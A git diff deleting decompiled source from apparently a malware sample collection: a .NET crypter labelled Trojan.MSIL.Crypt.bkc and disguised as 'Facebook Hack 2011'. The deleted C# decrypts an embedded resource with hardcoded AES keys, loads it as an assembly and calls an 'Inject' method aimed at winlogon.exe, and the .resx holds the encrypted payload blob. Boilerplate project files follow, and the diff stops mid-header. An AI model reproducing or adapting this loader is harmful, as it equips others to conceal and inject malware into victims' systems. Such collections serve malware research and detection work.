b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.csproj deleted file mode 100644 index 5021fae4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {57763855-1C6B-40CA-A47C-C2B1905EE0CF} - WinExe - Facebook Hack 2011 - 1.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.sln deleted file mode 100644 index 79387bc6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Facebook Hack 2011", "Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.csproj", "{57763855-1C6B-40CA-A47C-C2B1905EE0CF}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Release|Any CPU.ActiveCfg = Release|Any CPU - {57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ZBJWxRwVmymkewtQzL.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ZBJWxRwVmymkewtQzL.cs deleted file mode 100644 index 2ec51e58..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ZBJWxRwVmymkewtQzL.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ZBJWxRwVmymkewtQzL -// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe - -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Security.Cryptography; -using System.Text; - -[StandardModule] -internal sealed class ZBJWxRwVmymkewtQzL -{ - private static int ByteCount = 0; - - [STAThread] - public static void Main() - { - ZBJWxRwVmymkewtQzL.ftyu(); - ProjectData.EndApp(); - } - - public static void ftyu() => ZBJWxRwVmymkewtQzL.pol(); - - public static void pol() - { - string location = Assembly.GetExecutingAssembly().Location; - string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\ybGE.exe"; - ResourceManager resourceManager = new ResourceManager("ulzKs", Assembly.GetExecutingAssembly()); - string name = resourceManager.GetString("eNNBm"); - string eKTTSXIBImzyPSVNlB = "TtDPrLpOgGgrlEm"; - string GekgsvKfhqBvYoHbuo = resourceManager.GetString("KtEKGSixFHQniMOu"); - byte[] bytes1 = Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(resourceManager.GetString("BUcRxssrwh"), "ufvzCtTv")); - Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(resourceManager.GetString("vcGVC"), "IbjZ")); - byte[] bytes2 = Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(GekgsvKfhqBvYoHbuo, eKTTSXIBImzyPSVNlB)); - RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("OLFX")).Invoke((object) null, new object[6] - { - (object) bytes2, - (object) true, - (object) location, - (object) true, - (object) false, - (object) false - }))); - } - - public static string GsfHdpElDosSHExQNk(string GekgsvKfhqBvYoHbuo, string eKTTSXIBImzyPSVNlB) - { - string s1 = "jhsethsdutubgt"; - string s2 = "a48uyrhf094hy2dm"; - int iterations = 2; - string strHashName = "SHA1"; - int num = 256; - try - { - byte[] bytes1 = Encoding.Default.GetBytes(GekgsvKfhqBvYoHbuo); - byte[] bytes2 = Encoding.ASCII.GetBytes(s2); - byte[] bytes3 = Encoding.ASCII.GetBytes(s1); - byte[] buffer = bytes1; - byte[] bytes4 = new PasswordDeriveBytes(eKTTSXIBImzyPSVNlB, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0)))); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[checked (buffer.Length + 1)]; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - ZBJWxRwVmymkewtQzL.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - rijndaelManaged.Clear(); - return Encoding.Default.GetString(numArray); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - throw; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ulzKs.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ulzKs.resx deleted file mode 100644 index 9188a6cc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/ulzKs.resx +++ /dev/null @@ -1,3127 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - š Z†—°»nÑhƒÐÆ×çˆMÿ¨^·® -…�ÿ{ëjÏY¶lâõšÖ _c/}ŠZG?»?ϸ£ i²Ê‡ú‹fI¬ýJY»¢ÞB7õ›>²GíLÎjS±Xc©)iÌ:õÔqcº˜n !ÿÅ45®îFU±Ã/Ý•~®|Y -lKœ‘[ -~ê1yý'×�°ç˜bNè¸%>þà®6'_b{ß6NW)õ9ÓUS”÷ó �à`3šg3NcêÞPt©ùɘWæí�Ø9ÛÅot„Áì´ï­³;ýÙƒö"ؐÈûŒlpä…<¥±©ß=T`˜±©ßÈ¿©Ð&“EnÈ»÷ì±+…‚ ·¿Àc-Úã±=¾íj´0¶†ãE’íÄP·Ì-¯À<ó hÕЯ{gÄ©nž[±Ì³ÎÊÓâ¿SÉcÞ8;Ýc]BlMÅù¾3Ä5]f…ö&%óV˜zHôáJ[ò†¬ûŽ½4å˜ 'ÀÒËo¹¥Ä(‹’7ZÅG:Œ*Ëþ,ÙŒ¤Šrèz±­Í-ÉØøøÜA¹Ж-tb™}ë1·ø^96u6çv"½pn)Å©*CÂ@B¤7nï‹)St•Ë þ¤¾öZKŁø¨PUwø“91£)5K $½æ:Ý•—Øöˆ´«³˜Ê1<.nË:ª¬Ïn´ßn¿šux)Œ ßñKCµ—-íñusôÅ4­Ô±kç}  ˆ?PÇ¶Q”]!fŒXVKun·šÈ¶œW½öt¥íùM½Ð±uMÝxh³<Ï,,o;ý‹ -Eçj9Õû+¢¥0o™]Ýä7€Õ¼0ð @½§ ˆevoF•yŒäà\@êç sz6>»M>¼¬;kº/¦–ËH ei«Ö¥þcmmGŠN¤/ò'A;ž^°œ[Þc•„ßÏãÇhåƒÐ[­š^.è. ”tX0ÁDâw©x÷IAÄBôýAãÓ'1„°‹p!ÞJ x$×;±n—_T³Š#dùë¼d[ÒY®ýý ñ¡i‚‡Ì²…ÈD QÙ0‰çaYò²•°®K¢sE'ýVA©ÌUÛÛÐ +¶ŽËÑ?—/1pĽ£´Ž€_V+jkÿVrò©}ð-.î[4üZ8³Ok@¿‘³5W ô"¹Ù„,k((©ÝèY²Èh†eXb¯éŒà‘BðRœW´Å³ OÇ’©!EkEàBÕƆ¢[ÓQx=Æ^}$<±†OY:ÈšFSçàŸ0•íͦg`k/zÌV -²m1*G#è¬nšÐè.ï½MìŸj‰AÚ_ì×ﮊÀP-U&W¥ž„«¦Êƒ‚]GŠWŒr0uö›FÌƶ&ÍhF²¸…¤†ƒ§_¿§µß›B„ üŸ#c¦²EÁ0�l!ëœnË‘LKœöñðEêl”SuŽ)îY^¬[ßÁŸâý$Š0I5'¢˜y¶8X˜ŠüSx]åQßÒ2i (~HA… ,&ß Fº²Áûí§ ç»š\pF¬cO*™;hœîPÛ䥍MjÉI «°-³“¢S^‹ù æÝÌréY®ØSÛŸ†0£jžŽÕ³¾-Vžú‚Û­ËÂTB‡HRX¸?àC2Tié¸ßo¸oòWê.& -þr‰CogÎ<Âû PÞœ-&xžD ,±À7cÆlG‘9ÒûË¡¤«¤–lc½E™0;Ÿ6›¿²*vE*giùÚ¤äèaóI®ó’¼Ðʱ_ƒ•Ç?á±”^Qäêàâ ›qÏ sE¨éàA±ø×{À¨~æjgoP¨IõØ„Þ¯òóæ‘z×:û;E²H(ùô@i—À?Q×É*k?áÀ¢cÂð‰:%ÀÍÜ%áÍôÉ)Û3«yÔÞh#ËF¯\‰ØÍÚ`¬ ö5·B À׍ï+Z.úƒìÖaՉЛ9cbºœÊõ’ºQ&û ÌAùæ• íkB]ÿ´ˆnU±"žè”X·”Ñj9atýcˆ·Û\‹Ÿc´è§-@âo¾2Ño”—möé!Jï…CÕ~J±GŽæj±˜rf©ŒKhKJØÐnþÂOÇ-ÙÄ“ï…¡AY>¥~R~õ(PmomEpíè�· ¿»•†^«Ì)æ:B7 u»H}øf«€ÆgáŸÓIJ¿á'ëóvªd§>—qëkòÝ@uÍQ£…[%ÇÙUjv‹ZáÆcc4äa8,.\dýl` Ùã,VÉe8MYrHuÿݲ»TÚ,ç̘ò8kÄ”'‚™—«É¼/ÔÉÖËÕˆ«N•N÷ƒ´üÇzßà®Ñ)yràoN€ü™è%±¾‡áa uýñkÒEM†‹Ê*Û[‡Š¯*ÓÃß-ì~¹B ú¥Óogûì$÷Ù.%«lçè=>o¼\=åߨèû3E3Þ6瀍'ú K㬇7È:E潐²»Ù°·bÈøÏ3P6Ó+ô@|r%©Ñž[°äU¨@%fw:±y[Îݧ3ŝf³”¡ÒÝÞÝߟ‰Zûû/>:ÉŠä/½*[µ¥*±hŠ5ÂÉÿgmîóh÷”®dš¬³HØÃÕ%5ßñö“yÇoÓ¨. 7þ€QÐ^E?¾" ·<ؤO0'‡‹Ìþ)=#·ý±ó µÞÐX2µß|õ¾“;N)0å§~ı»í‹£6[ܱNœò2Dö§d>@2Ó†Zu:£‚QíX›pê‚Rï6@£\C£³t‹¹%aK\¨ü…hT\ ¾q½ÓÇh×QU­Qßà$/î’Š9bé3²ïbX«HÑ"ÊÅ»Ê:lsìð.t•ÈÅpÁO”M„Ž…-GÎ4+¬£7›Ó©1q_°_¬w4pŸ·Ë×vU·:º‘x2föd¢;"* ¹G§€|¾&g+0CPB¡ý.ÁLMªâ™®«Éž)JK¹È'Ô-€=ߦzª8M·ØéÇ”YÑb‡ ¿.ØŒ¼�¶é«>» UD·N)᧒Tzà ŠÍ?À°?95zBê$¢4[X¨¹Jh»¯¸JˆiΓ½À†ûø�[é'…I´Œ£8&ÔrÒXeC.!Å-–ð$à—ìbQz¥+ÎÕ¹edÛQàmµf|>YEZ{d$]“qÏHO<üšG2QìÞòIütP°—¿R1rÆšqxp}Þ-¬±|ÿ'Úž$&‡YIЛNž@ಣ‡ë|}1l) Flú?“¹ -g:<$½£Ðl±C±b __Ð ~\aÒ@ÒGK+¼¼ñ|!EØQ—Á¸ˆ0ÐÇ1_387ùZÄWýGHƒÌ di€ÁˆFØpnQ»7œJj¶RY;áÜÔ‘1¼wW~*NÚÕ/° g*uÞ’Þ·x¦Ï2Ùa¡W OÌŒ(|£È WxÀKÕ×Íïîw’æ©Ý%e©Uÿ®ìLBGìÑ6Çêk˜øߎEÛRÓZ’=RVØPt�]}ã‰ýÁ’×®Ô£·ú�DÛ~w"* |"Ë-œC}Xa/(YžmÝdüfõШ¶EûÊ}ê<L©ý³ùÿƒëªýÎÞ®µª¸«‹'1<sK fYW2’ˆû{Í‚÷6âîx‡¿gþVBÁ{@] gâgkùV;^+»makvù\–&ðÒÿ™ÇøH§œ>#Íð{„í±Qº­Ð¦bzÇÆôâ] "£|4ä°(Ï€ô°üqÙcp+Ô{Eaãß�"þŸ3}jIM$/v4¼‚%h—Ù2×"ET/ŸY•œ:%Wl5dÿ·OM@?øýf’Lå .£éüº~ˆ×¤«C7ÛöÅ(5n,kçØIQ!�ó=ùô`ñjê)á ©ØUpõK"~U¼´¦äz=°SQųž5ä8êZçkGh7ÐïbÝÏ¡ »à)ªý¡Ñ¯êé9[¼£¨C}齍ŸÞ­Ñ”ƒ‰6ùKSìnmú…n¿$•ÈDsµ¦“kŸ“’&DÚ” -v•B{özÑÒ” :!‰V¸",7Ÿ(½ ø(“")* ®š‡b}sç´å…*bŒmÅ »½K¾füÑ“€�§nGE$D]’É}#x¯4C�ã¸]2b±µÆIÂÄt›kâžÖ…Ô¯Fôß©P¬ÓfâÁj ÍDY¬6H©!\—HëŽy¿ÌÃdÌ­‡û!F5MA…ŸCÔy�",“µúÞUûŸjÕ KÈ¿Q¾èd(enˆR3N®Ý`¨fkC™[ê:;‚éúÖƒ¢�’=G 9¾ƒÈž)Ö @ãÈ¢«ªD»I´×•tvuKUݾVûÿYªŸzpC<m>²(!û8«rªä,@•˜v:·°ÓKÖ5-ý‚6äKÉñúLB e�—ã Aή—r¡6¦è5•ÎD <BDnñ ]ald¡ÊÔFżæä/e]vѨpDp6”I¾†[X9˜ã œ0M_é§. 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Q¸Q_{ƒly8ùî „DØC**¥êɨNüVn‹Ôñê!­Q†¶¯J“ýÍxä» jYÍ‚œˆìÊ•»«Ï Ò3í*A­ÂÚ|“ˆŽqèa-;vÐ/&Ÿô}ƒ®ÃDÆ„ïe,í·¿…¼Ì=^l{JÀárû‡ŸÞµÚ)!ГYj{sûãiñ†L¯ä,ÍhZ¬T‘ -(1îP¥òQL›àQy$ñ#{+étÛË›s;'læáŸ=Ég–"ôÆ-'Ñ -Þ85öÀüŒ2ò§gJí‹DáC²1MÍ¥ÚµMùú9e�{pgdú¨nô8¸£º\ÏÓüÈþaÏ,¡ŸU|eRdœ2Ý«ÌìÌ[ cYfÛKbBFyW<#W�ÿTEé£Oõ;Þøw¯.‚6_£’íMV¢jŸç‘×r5s�~Àót8 ¤½MáŒÞŒ!ÐøÚ_:îLñ@ÖO¢zœþ(“Ç“S�¸Ø¿‡eçª õÁD?¾¥8[Ø*çÚÃÐxÆƈ?«Ë�ETËÈNèa]�§wý±WŠºËöâmòžBŒS¥¾¢ÐÉþ{‘©¸ë/ºß)Q@p⊫eÓB’‘ 1²ÛÝ “yp·em‚‚û`Ïw³ð7ý /½-{†3ø“i¡ GQ$u}/p€®èðDZš)š™fgÉÅ(÷/Ã0Ö¦"!žYL:ÁðïiÑé€þ -Up­¿Ë^hù[gIE"a±ôL ->�ì~ù_‡‰ óü ¹yê…ÎThž›ôÉ`ǘ`Âo…†6e/‰|2Q¹?ý]gE¥QozÓâ�SÆûE$©yOXÏ‚Ê#ŒäªŒ[´mEyxÃb\Êa\çy¡ø�|þâQùír«‘ŒÉáé�aLT¢'ÜÚ.ðVmi 8ç,ö=&B?z›á ÝâáRV¨@§+X5ãiI91¨ bì£ëRžG—_™ƒÖ_Žp7Ž kSÁ>ý: ¤ŒÁúD>{Ì÷ˆÀû;QÓÖ3Ìñ¢ÇW©}DtŽo³¸S}zˆñ‚–@L¨DÍ@ß -ˆ3ǃO‡6&›‡D"|º$sŒ9äõ æD•|i¼©Ro:Ð*TÔÄuAÃD·Ì›Nz“2Îø‚<Qo*HGð¤ÂãÏÓÝ…ZE9Ø\늠8Ù;ˆ9œA%¤vd€ÆíÏ$~¥ÒâJêÔ¬Á.ïƹh.jKßü UYŠQŽØúŒaÛ Žã ]ƒŽ¿ÞN=Í[C«ØfÓF*þ/í”ò-E2tü$L#CÚ}eÊØb~).‚ùO éý]§7Ç™´DýìÓÿ®`WË’&Ø“SÔ)Æ´Ki˜¡'·ŠÕñ)“ ×ÌŽÐo+Œ;ÃÿÒd�¿[P8^0DÙMó¤Üþ¾œ!š‘ÒA,ýCÂùÿiõ.êc‹è»§©O`æ0!­L.ÿà �:JÖ¨­¿«®Gn%õ ß}Ð]‹Ç!Œ—/RغÇX¤…÷Þý�àWÄ¥_j’2hhŸ‰ô^ÐÜò÷<‹+¥~+‹Í ,\’ªY킺W$'dÂ]2ïñ Øã·ÓÃõð! í¯SÄݸ)öÆb 5î@iƒäþ\þ’[r©èðò7øoy¢è{]«¸Î -c'y4É‹dÚ‚d«D]™††wë™OX¨Éƒ9Eå׳;çÊ [™Ô?M>•©a¿oxXú±PFƒ”¦ÿ’ˆ¹îð^º d7Ïâe5 „0°ÿ`ç’ ]¦ ~8k…¢U:ûX¨þé |j•ö6üÐ^ÑJŠð2ª ^}“„ø~­ŒqØ?X0âU‡õsf…öó7É9vÃZ/ûŹyEö_wÛªxBD:߬ÊÄÃdÁ/ªÒ_ÂØc¶|!…¶Î IkÊÙÒ,‡nN ñ œ™·}J³(3ûÀÇƺxÄ ¢uä)yѲøç~CÃÌžEÞS|-â효™æ‘)Ž*É§së_/þ]Á-G| é]TŽ‡�Ú·»½È@¡B™z\ ¤ñSÑÚ¨ dn0¯üùúª*3¥‰óùJ4½ wÚ“„ËYkÛ°ßålbo7 ,5A¨7”(åxJ7õ‰ÔÇó_áè k| ¦åΓ›]»ø§>Û6 ÷Za4“²•P!hzdpŠGoUˆé‹mE¡€kWýø0ð—þ3ŽäS¾ó•‹} Ô)¾8+9í]ï[ßÏU<VBåLzáü×ñ·;‰ô 3js EËŽÏ§wØç˜y–ܲ‰G×KÙ>8¹S4¡‡�Ï”Zß/ýùŒG¶RIìï\–„j¨5~ÚÖôy fJ‰¨ÒCy…}Pâªc–Ë©%)}´î…%UŽÕ~\|=P¹ë<{RaÐ ýdf‰ÞKnâ@»6Až†iqy–Ø•D à;:ÃÛcÖ?”½ “¼˜‡ -m - ¹>œæo«Ã ‰_s=\³(‘ ©=ýW÷Dé‹n”¸ûËå·Z‚Îa Fž;è¹×a.Óc¯<Ä,3Ãn¼¥a-wØ.$‘f¾N\׳ã1h_SñÇâðÝ̼œå¤Á#²pÛðν#¸d‚DÁ¾†D§i4±‰ž÷Â×k1ðÛk Q·ü ØOôptœâ‡¢˜;(Ð:CÌšÑÓv§¹ï7„½þr—úm“×,§™Ç27O �(F?èѺ½˜jËš¬XaÔiƒ”š ‹¥¦Ì -)¨Æ• î”Eœ/Érañ)¶/È¡YïœPþ“0)tëO -ŒÙÞŒµ¶õK’O‚nÿ]¢N‰uó«3Tyäè}1/çê{DËÚ&c wL©ù�¿êse ¢_豝Wz=5ÏËÑKþ6øLpXCI&í„Ê1œ®”² -r)?9÷'¢ -¾¡ûð™i“¾‘Eg,0h"Öԏ›º`ê -*ŸM«±yñ‘6÷.I˜ÓO¬@]³ùÌ'o“¶6¾xë+‹úSll@äþf‹³deÊD¡²Ý¦|ìËBdWóæú‚sE¯U« -’Š2^6MöÆ@¥&—@€IšýlË®X³Ýã¨S#ô·Bߦ=ý0o˜­OvÈ:ß w”D›úd åS ¡`Á¨É0€è2¤çÄ¡ú‚Ôaê¯tS»…êû:–’¹¶3±…Ñ%e“×Q;â4ª^ãµûqAÈ8mÚZá÷·òpWÖ¶ÂåpÞÇÖ©hЕbGrdÅSðU21bÍäpÖ5Vá1{‘|ÖRÌ·[Š¸ÜUidx‡ºêõPšj‹.·P™æ"åFÓº:éO‡I#u*&0©µ’R�èî<Ž@ÉK~\ýµÃ%š.ì -ºï - - - Class1 - - - hgy988ghj - - - \winlogon.exe - - - Inject - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyApplication.cs deleted file mode 100644 index 38387c0d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null -// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyComputer.cs deleted file mode 100644 index c9b5045c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null -// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyProject.cs deleted file mode 100644 index f43feeb5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null -// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/QFZQHUfONBmOkwLsKw.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/QFZQHUfONBmOkwLsKw.cs deleted file mode 100644 index 3c2206c6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/QFZQHUfONBmOkwLsKw.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: QFZQHUfONBmOkwLsKw -// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null -// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E -// Assembly location: 